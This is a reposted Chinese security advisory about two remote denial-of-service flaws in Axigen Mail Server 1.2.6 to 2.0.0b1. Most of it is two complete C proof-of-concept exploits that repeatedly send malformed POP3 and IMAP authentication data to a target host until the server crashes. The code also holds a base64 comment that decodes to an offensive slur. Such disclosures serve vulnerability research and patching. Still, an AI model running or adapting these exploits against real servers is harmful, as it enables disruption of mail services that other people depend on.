首页 | 邮件资讯 | 技术教程 | 解决方案 | 产品评测 | 邮件人才 | 邮件博客 | 邮件系统论坛 | 软件下载 | 邮件周刊 | 热点专题 | 工具
网络技术 | 操作系统 | 邮件系统 | 客户端 | 电子邮箱 | 反垃圾邮件 | 邮件安全 | 邮件营销 | 移动电邮 | 邮件软件下载 | 电子书下载

邮件网络安全

系统安全 | 邮件软件漏洞 | 攻防技术 | 安全基础 | 病毒公告 | 病毒查杀 | Forefront/TMG/ISA | 防火墙 | 数字签名 |
首页 > 邮件网络安全 > 邮件软件漏洞 > Axigen Mail Server多个远程拒绝服务漏洞 > 正文

Axigen Mail Server多个远程拒绝服务漏洞

出处:绿盟科技 作者:绿盟科技 时间:2007-2-11 22:59:21
发布日期:2007-02-08
更新日期:2007-02-09

受影响系统:
Axigen Mail Server 2.0.0b1
Axigen Mail Server 1.2.6
描述:
BUGTRAQ  ID: 22473

Axigen Mail Server是一款小型的邮件服务器。

Axigen Mail Server中存在两个拒绝服务漏洞,远程攻击者可能利用此漏洞导致服务器程序崩溃。

如果能够向服务器发送恶意请求的话,就可能在调用memcpy时导致整数溢出或空指针引用,服务器会崩溃。

<*来源:Neil Kettle (mu-b@65535.com
  
  链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=117094708423302&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* doaxigen.c
*
* axigen 1.2.6 - 2.0.0b1 DoS (x86-lnx)
* by mu-b - Sat Oct 22 2006
*
* - Tested on: AXIGEN 1.2.6 (lnx)
*              AXIGEN 2.0.0b1 (lnx)
*
* 0x08088054: parsing error results in DoS (little-endian, confirmed)
*                                      DoS + off-by-one heap smash (big-endian)
*
* Note: if you receive a SIGPIPE then you crashed the server
*       but at too high a memory address... try again.
*/

/* dGFicyBhcmUgZm9yIGZhZ2dvdHNcIQ== */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define BUF_SIZE    1024
#define BBUF_SIZE   BUF_SIZE/3*4+1

#define AUTH_CMD    "AUTH CRAM-MD5\r\n"
#define QUIT_CMD    "QUIT\r\n"

#define DEF_PORT    110
#define PORT_POP3   DEF_PORT

#define RCNT_DELAY  3

static const char base64tab[] =
  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

static int base64 (const u_char * ibuf, u_char * obuf, size_t n);
static int sock_send (int sock, u_char * src, int len);
static int sock_recv (int sock, u_char * dst, int len);
static void zhammer (u_char * host);

static int
base64 (const u_char * ibuf, u_char * obuf, size_t n)
{
  int a, b, c;
  int i, j;
  int d, e, f, g;

  a = b = c = 0;
  for (j = i = 0; i < n; i += 3)
    {
      a = (u_char) ibuf[i];
      b = i + 1 < n ? (u_char) ibuf[i + 1] : 0;
      c = i + 2 < n ? (u_char) ibuf[i + 2] : 0;

      d = base64tab[a >> 2];
      e = base64tab[((a & 3) << 4) | (b >> 4)];
      f = base64tab[((b & 15) << 2) | (c >> 6)];
      g = base64tab[c & 63];

      if (i + 1 >= n)
        f = '=';
      if (i + 2 >= n)
        g = '=';

      obuf[j++] = d, obuf[j++] = e;
      obuf[j++] = f, obuf[j++] = g;
    }

  obuf[j++] = '\0';

  return strlen (obuf);
}

static int
sock_send (int sock, u_char * src, int len)
{
  int sbytes;

  sbytes = send (sock, src, len, 0);

  return (sbytes);
}

static int
sock_recv (int sock, u_char * dst, int len)
{
  int rbytes;

  rbytes = recv (sock, dst, len, 0);
  if (rbytes >= 0)
    dst[rbytes] = '\0';

  return (rbytes);
}

static int
sockami (u_char * host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int sock;

  fflush (stdout);
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket()");
      exit (-1);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (-1);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
    {
      perror ("connect()");
      exit (EXIT_FAILURE);
    }

  return (sock);
}

static void
zhammer (u_char * host)
{
  int sock, rbytes;
  u_int i;
  u_char *md5 = "\" d339490346794f964736669ae26e29df";  /* what was that? */
  u_char sbuf[BBUF_SIZE], *sptr;
  u_char rbuf[BUF_SIZE];

  fd_set r_fds;
  struct timeval tv;

  base64 (md5, sbuf, strlen (md5));
  sptr = sbuf + strlen (sbuf);
  *sptr++ = '\r', *sptr++ = '\n', *sptr = '\0';

  printf ("+Connecting to %s:%d.", host, PORT_POP3);
  sock = sockami (host, PORT_POP3);
  rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
  if (rbytes < 0)
    return;

  for (i = 0; i < -1; i++)
    {
      int rbytes;

      sock_send (sock, AUTH_CMD, strlen (AUTH_CMD));
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        break;

      sock_send (sock, sbuf, strlen (sbuf));

      FD_ZERO (&r_fds);
      FD_SET (sock, &r_fds);
      tv.tv_sec = 4;            /* wait 4 seconds */
      tv.tv_usec = 0;

      rbytes = select (sock + 1, &r_fds, NULL, NULL, &tv);
      if (rbytes == -1)         /* oh dear */
        perror ("select()");
      else if (rbytes)          /* read response */
        rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      else                      /* timeout, server appears to have crashed!@$%! */
        break;

      /* hmmm, too many attempts, must re-connect... */
      if (strstr (rbuf, "(maximum number of protocol errors reached)"))
        {
          close (sock);
          sleep (RCNT_DELAY);

          printf ("\n+Reconnecting to %s:%d.", host, PORT_POP3);
          sock = sockami (host, PORT_POP3);
          rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
        }

      if (rbytes < 0)
        break;

      if (!((i + 1) % 4))
        printf ("..%d", i + 1);

      fflush (stdout);
      usleep (1000);
    }

  printf ("\n");
}

int
main (int argc, char **argv)
{
  printf ("axigen 1.2.6 - 2.0.0b1 DoS POC\n"
          "by: <mu-b@digit-labs.org>, <mu-b@65535.com>\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zhammer (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}
/* doaxigen-v2.c
*
* axigen 1.2.6 - 2.0.0b1 DoS (x86-lnx)
* by mu-b - Sun Oct 29 2006
*
* - Tested on: AXIGEN 1.2.6 (lnx)
*              AXIGEN 2.0.0b1 (lnx)
*
* parsing error results in login without username & password!
* which in turn causes a NULL pointer dereference..
*/

/* dGFicyBhcmUgZm9yIGZhZ2dvdHNcIQ== */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define BUF_SIZE    1024
#define BBUF_SIZE   BUF_SIZE/3*4+1

#define AUTH_CMD    "1 AUTHENTICATE PLAIN\r\n"
#define APPEND_CMD  "2 APPEND digit-labs\r\n"

#define DEF_PORT    143
#define PORT_IMAPD  DEF_PORT

#define RCNT_DELAY  3

static const char base64tab[] =
  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

static int base64 (const u_char * ibuf, u_char * obuf, size_t n);
static int sock_send (int sock, u_char * src, int len);
static int sock_recv (int sock, u_char * dst, int len);
static void zhammer (u_char * host);

static int
base64 (const u_char * ibuf, u_char * obuf, size_t n)
{
  int a, b, c;
  int i, j;
  int d, e, f, g;

  a = b = c = 0;
  for (j = i = 0; i < n; i += 3)
    {
      a = (u_char) ibuf[i];
      b = i + 1 < n ? (u_char) ibuf[i + 1] : 0;
      c = i + 2 < n ? (u_char) ibuf[i + 2] : 0;

      d = base64tab[a >> 2];
      e = base64tab[((a & 3) << 4) | (b >> 4)];
      f = base64tab[((b & 15) << 2) | (c >> 6)];
      g = base64tab[c & 63];

      if (i + 1 >= n)
        f = '=';
      if (i + 2 >= n)
        g = '=';

      obuf[j++] = d, obuf[j++] = e;
      obuf[j++] = f, obuf[j++] = g;
    }

  obuf[j++] = '\0';

  return strlen (obuf);
}

static int
sock_send (int sock, u_char * src, int len)
{
  int sbytes;

  sbytes = send (sock, src, len, 0);

  return (sbytes);
}

static int
sock_recv (int sock, u_char * dst, int len)
{
  int rbytes;

  rbytes = recv (sock, dst, len, 0);
  if (rbytes >= 0)
    dst[rbytes] = '\0';

  return (rbytes);
}

static int
sockami (u_char * host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int sock;

  fflush (stdout);
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket()");
      exit (-1);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (-1);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
    {
      perror ("connect()");
      exit (EXIT_FAILURE);
    }

  return (sock);
}

static void
zhammer (u_char * host)
{
  int sock;
  u_int i;
  u_char *md5 = "*\x00";  /* what was that? */
  u_char sbuf[BBUF_SIZE], *sptr;
  u_char rbuf[BUF_SIZE];

  fd_set r_fds;
  struct timeval tv;

  base64 (md5, sbuf, strlen (md5)+1);
  sptr = sbuf + strlen (sbuf);
  *sptr++ = '\r', *sptr++ = '\n', *sptr = '\0';

  for (i = 0; i < -1; i++)
    {
      int rbytes;

      printf ("+Connecting to %s:%d. ", host, PORT_IMAPD);
      sock = sockami (host, PORT_IMAPD);
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        return;

      sock_send (sock, AUTH_CMD, strlen (AUTH_CMD));
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        break;

      sock_send (sock, sbuf, strlen (sbuf));
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        break;

      if (!strcmp (rbuf, "1 OK Done AUTHENTICATE"))
        {
          printf ("+Bah not vulnerable\n");
          exit (EXIT_SUCCESS);
        }

      sock_send (sock, APPEND_CMD, strlen (APPEND_CMD));

      FD_ZERO (&r_fds);
      FD_SET (sock, &r_fds);
      tv.tv_sec = 2;            /* wait 2 seconds */
      tv.tv_usec = 0;

      rbytes = select (sock + 1, &r_fds, NULL, NULL, &tv);
      if (rbytes == -1)         /* oh dear */
        perror ("select()");
      else if (rbytes > 1)          /* read response */
        {
          printf ("+Bah not vulnerable %d\n", rbytes);
          exit (EXIT_SUCCESS);
        }

      /* timeout, server appears to have crashed!@$%! */

      printf ("Wh00t\n");
      fflush (stdout);
      sleep (RCNT_DELAY);
    }
}

int
main (int argc, char **argv)
{
  printf ("axigen 1.2.6 - 2.0.0b1 DoS POC\n"
          "by: <mu-b@digit-labs.org>, <mu-b@65535.com>\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zhammer (argv[1]);

  return (EXIT_SUCCESS);
}

建议:
厂商补丁:

Axigen
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.axigen.com/
相关文章 热门文章
  • Ipswitch IMail Server邮件列表imailsrv.exe栈溢出漏洞
  • Ipswitch IMail Server imailsrv.exe远程栈溢出漏洞
  • Exim邮件目录硬链接处理本地权限提升漏洞
  • SquirrelMail IMAP登录请求拒绝服务漏洞
  • Microsoft Outlook Online模式远程堆溢出漏洞(MS10-064)
  • IBM Lotus Domino iCalendar邮件地址解析栈溢出漏洞
  • AXIGEN Mail Server远程跨站脚本和目录遍历漏洞
  • Python smtpd模块SMTPChannel类竞争条件拒绝服务漏洞
  • Novell GroupWise Internet Agent组件Content-Type多个值解析栈溢出漏洞
  • Novell GroupWise Internet Agent组件Content-Type字符串解析缓冲区溢出漏洞
  • Microsoft Outlook邮件附件处理拒绝服务漏洞
  • Microsoft Exchange Server 2007无限循环远程拒绝服务漏洞(MS10-106)
  • Exchange Server 2003 中的弱点会导致权限提升
  • 更安全稳定!快下载微软ISA 2000 SP2
  • MDaemon 7.2发现权限提升漏洞
  • Exchange 2003 Server发布新补丁KB883543
  • 微软发布关于Exchange漏洞紧急公告
  • MS05-021:Exchange Server漏洞远程执行代码
  • WebAdmin 3.0.2 跨站脚本、HTML注入安全漏洞
  • Imail Server IMAP EXAMINE命令缓冲区溢出漏洞
  • Open WebMail Email存在头字段HTML代码注入漏洞
  • 微软发布关于Exchange 5.5 漏洞更新公告
  • IMail 8.13远程DELETE命令缓冲区溢出漏洞
  • MS04-035:SMTP中安全漏洞可能允许执行远程代码
  • 自由广告区
     
    最新软件下载
  • SharePoint Server 2010 部署文档
  • Exchange 2010 RTM升级至SP1 教程
  • Exchange 2010 OWA下RBAC实现的组功能...
  • Lync Server 2010 Standard Edition 标..
  • Lync Server 2010 Enterprise Edition...
  • Forefront Endpoint Protection 2010 ...
  • Lync Server 2010 Edge 服务器部署文档
  • 《Exchange 2003专家指南》
  • Mastering Hyper-V Deployment
  • Windows Server 2008 R2 Hyper-V
  • Microsoft Lync Server 2010 Unleashed
  • Windows Server 2008 R2 Unleashed
  • 今日邮件技术文章
  • 腾讯,在创新中演绎互联网“进化论”
  • 华科人 张小龙 (中国第二代程序员 QQ...
  • 微软推出新功能 提高Hotmail密码安全性
  • 快压技巧分享:秒传邮件超大附件
  • 不容忽视的邮件营销数据分析过程中的算..
  • 国内手机邮箱的现状与未来发展——访尚..
  • 易观数据:2011Q2中国手机邮箱市场收入..
  • 穿越时空的爱恋 QQ邮箱音视频及贺卡邮件
  • Hotmail新功能:“我的朋友可能被黑了”
  • 入侵邻居网络发骚扰邮件 美国男子被重..
  • 网易邮箱莫子睿:《非你莫属》招聘多过..
  • 中国电信推广189邮箱绿色账单
  • 最新专题
  • 鸟哥的Linux私房菜之Mail服务器
  • Exchange Server 2010技术专题
  • Windows 7 技术专题
  • Sendmail 邮件系统配置
  • 组建Exchange 2003邮件系统
  • Windows Server 2008 专题
  • ORF 反垃圾邮件系统
  • Exchange Server 2007 专题
  • ISA Server 2006 教程专题
  • Windows Vista 技术专题
  • “黑莓”(BlackBerry)专题
  • Apache James 专题
  • 分类导航
    邮件新闻资讯:
    IT业界 | 邮件服务器 | 邮件趣闻 | 移动电邮
    电子邮箱 | 反垃圾邮件|邮件客户端|网络安全
    行业数据 | 邮件人物 | 网站公告 | 行业法规
    网络技术:
    邮件原理 | 网络协议 | 网络管理 | 传输介质
    线路接入 | 路由接口 | 邮件存储 | 华为3Com
    CISCO技术 | 网络与服务器硬件
    操作系统:
    Windows 9X | Linux&Uinx | Windows NT
    Windows Vista | FreeBSD | 其它操作系统
    邮件服务器:
    程序与开发 | Exchange | Qmail | Postfix
    Sendmail | MDaemon | Domino | Foxmail
    KerioMail | JavaMail | Winwebmail |James
    Merak&VisNetic | CMailServer | WinMail
    金笛邮件系统 | 其它 |
    反垃圾邮件:
    综述| 客户端反垃圾邮件|服务器端反垃圾邮件
    邮件客户端软件:
    Outlook | Foxmail | DreamMail| KooMail
    The bat | 雷鸟 | Eudora |Becky! |Pegasus
    IncrediMail |其它
    电子邮箱: 个人邮箱 | 企业邮箱 |Gmail
    移动电子邮件:服务器 | 客户端 | 技术前沿
    邮件网络安全:
    软件漏洞 | 安全知识 | 病毒公告 |防火墙
    攻防技术 | 病毒查杀| ISA | 数字签名
    邮件营销:
    Email营销 | 网络营销 | 营销技巧 |营销案例
    邮件人才:招聘 | 职场 | 培训 | 指南 | 职场
    解决方案:
    邮件系统|反垃圾邮件 |安全 |移动电邮 |招标
    产品评测:
    邮件系统 |反垃圾邮件 |邮箱 |安全 |客户端
    广告联系 | 合作联系 | 关于我们 | 联系我们 | 繁體中文
    版权所有:邮件技术资讯网©2003-2010 www.5dmail.net, All Rights Reserved
    www.5Dmail.net Web Team   粤ICP备05009143号